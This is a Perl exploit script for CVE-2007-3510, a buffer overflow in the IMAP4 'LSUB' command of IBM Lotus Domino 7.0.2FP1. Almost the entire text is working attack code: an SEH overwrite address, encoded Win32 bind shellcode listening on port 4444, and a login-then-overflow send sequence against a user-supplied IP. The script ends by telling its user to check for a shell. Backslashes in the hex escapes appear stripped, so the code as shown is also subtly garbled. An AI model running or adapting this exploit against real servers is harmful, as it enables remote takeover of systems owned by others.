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CVE-2007-3510.pl.txt

Posted on 29 October 2007

#!perl
#
# "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit
#
# Author:  Manuel Santamarina Suarez
# e-Mail:  FistFuXXer@gmx.de
#

use IO::Socket;
use File::Basename;

#
# destination TCP port
#
$port = 143;

#
# SE handler
#
# You can only use HEX values from 0x20 to 0x7e! (printable ASCII characters)
# You must use a POP/POP/RET sequence that doesn't modify the ESP register or
# the shellcode decoder will fail.
#
$seh = reverse( "x60x21x53x4E" );  # POP EDI/POP EBP/RET
# nnotes.6021534e
# universal on Lotus Domino 7.0.2FP1


#
# Shellcode
# You can only use HEX values from 0x20 to 0x7e! (printable ASCII characters)
#
# 1. Step: Modified Win32 Bind Shellcode (EXITFUNC=thread, LPORT=4444)
# 2. Step: Encoded with Alpha 2.0 (BASEADDRESS=ESP)
#
$sc = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIeyZiMSKYnPYI".
"JNJy0tGTydqKOqcCDS2wDWLMnzmSxkYlkRYdLksMRFhWoOZNbRe5mxBWuVHvqcFS".
"7vIORKmLzQmOToWf3RvqWhTOUViUD7Wfqvn3yLusEVmKMiuvBmuSkKNsrmzNpPhV".
"bgOgpVIEsVRNpl2cOYnRDbl26fJePsR6cVkLKlUKO6TQWx6kLLpqRtGKVftSekP3".
"OaKKlTgVV6KNyLqDoMtQB75KWvJJ0KoJGvzzSog9M5ftwiwisQkzMxiQXkyYDqqo".
"ONy8uocPKNMxUX2crRPJWOKlsPavRLQWQbPLs8MNphKLZvXznenx5RamlOQumWQo".
"btLSI2OJYJe5mQ0DyNyY7tctxNJiR4pDcBpJUaCOmLo6uaPDVdcKyRSOUyOpewzp".
"ZzPeMQSMmMZkdBkXaMZRl3lzLcBSUPM8skzitBixQMibMbaNfkXSWp9xSkzjUSRc".
"hX2EMWOt8eQmdn8QJTHMNHIQKhpemWRQYwkNvQSOXnL7yN9bXgiZfnGNQQUClp3M".
"HIECH5WVPM59KMkYZolwliSeoQwyJzBMH5FQYlMlJEHhLiLdOkQu5rpS2RrltL70".
"YO8KFfqVm7mKtFcvxXzkoXKwxe6WLNuB3sYYY8kqm73UlhEp0rQZKl1PbQDYOcPs".
"RRRlfem8aMibLxKi0mij5TKXQKcUk76wlMLZA";

#
# JUMP to 'ESP adjustment' and shellcode
#
$jmp = "x74x20".  # JE SHORT
"x75x20";  # JNZ SHORT


#
#
# Don't edit anything after this line
#
#

$sc_limit = 2300;

sub usage {
print "Usage: " . basename( $0 ) . " [target] [IPv4 address] [username] [password]
".
"Example: ". basename( $0 ) . " 1 192.168.1.19 "Bill Gates/ServerName" "P4ssw0rd"
".
"
".
"Targets:
".
"[1]  Lotus Domino 7.0.2FP1 on Windows Server 2000 SP4
".
"[2]  Lotus Domino 7.0.2FP1 on Windows Server 2003 SP2
";
exit;
}


# Net::IP::ip_is_ipv4
sub ip_is_ipv4 {
my $ip = shift;

unless ($ip =~ m/^[d.]+$/) {
return 0;
}

if ($ip =~ m/^./) {
return 0;
}

if ($ip =~ m/.$/) {
return 0;
}

if ($ip =~ m/^(d+)$/ and $1 < 256) {
return 1
}

my $n = ($ip =~ tr/././);

unless ($n >= 0 and $n < 4) {
return 0;
}

if ($ip =~ m/../) {
return 0;
}

foreach (split /./, $ip) {
unless ($_ >= 0 and $_ < 256) {
return 0;
}
}

return 1;
}


print "--------------------------------------------------------
".
' "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit'."
".
"--------------------------------------------------------

";

if( ($#ARGV+1) != 4 ) {
&usage;
}

$user = $ARGV[2];
$pass = $ARGV[3];

# Windows 2000 SP4
if( $ARGV[0] == 1 ) {
$popad = "x41" x 3 .  # INC ECX
"x61" x 51;  # POPAD
}
# Windows 2003 SP2
elsif( $ARGV[0] == 2 ) {
$popad = "x41" x 2 .  # INC ECX
"x61" x 52;  # POPAD
}
else {
&usage;
}

if( ip_is_ipv4( $ARGV[1] ) ) {
$ip = $ARGV[1];
}
else
{
&usage;
}

if( length( $sc ) > $sc_limit ) {
print "[-] Error: Shellcode's size exceeds $sc_limit bytes!
";
exit;
}

print "[+] Connecting to $ip:$port...
";

$sock = IO::Socket::INET->new (
PeerAddr => $ip,
PeerPort => $port,
Proto    => 'tcp',
Timeout  => 2
) or print "[-] Error: Couldn't establish a connection to $ip:$port!
" and exit;

print "[+] Connected.
";

$mailbox = "x44" x 280 . $jmp . $seh . "x44" x 26 . $popad . $sc . "x44" x 3000;
$sock->recv( $recv, 1024 );
$sock->send( "a001 LOGIN "$user" "$pass"
" );
$sock->recv( $recv, 1024 );

if( $recv ne "a001 OK LOGIN completed
" ) {
print "[-] Error: Invalid username or password!
";
exit;
}

print "[+] Successfully logged in.
".
"[+] Trying to overwrite and control the SE handler...
";

$sock->send( "a002 SUBSCRIBE {" . length( $mailbox ) . "}
" );
$sock->recv( $recv, 1024 );
$sock->send( "$mailbox
" );
$sock->recv( $recv, 1024 );
$sock->send( "a003 LSUB arg1 arg2
" );
sleep( 3 );
close( $sock );

print "[+] Done. Now check for a bind shell on $ip:4444!
";

 

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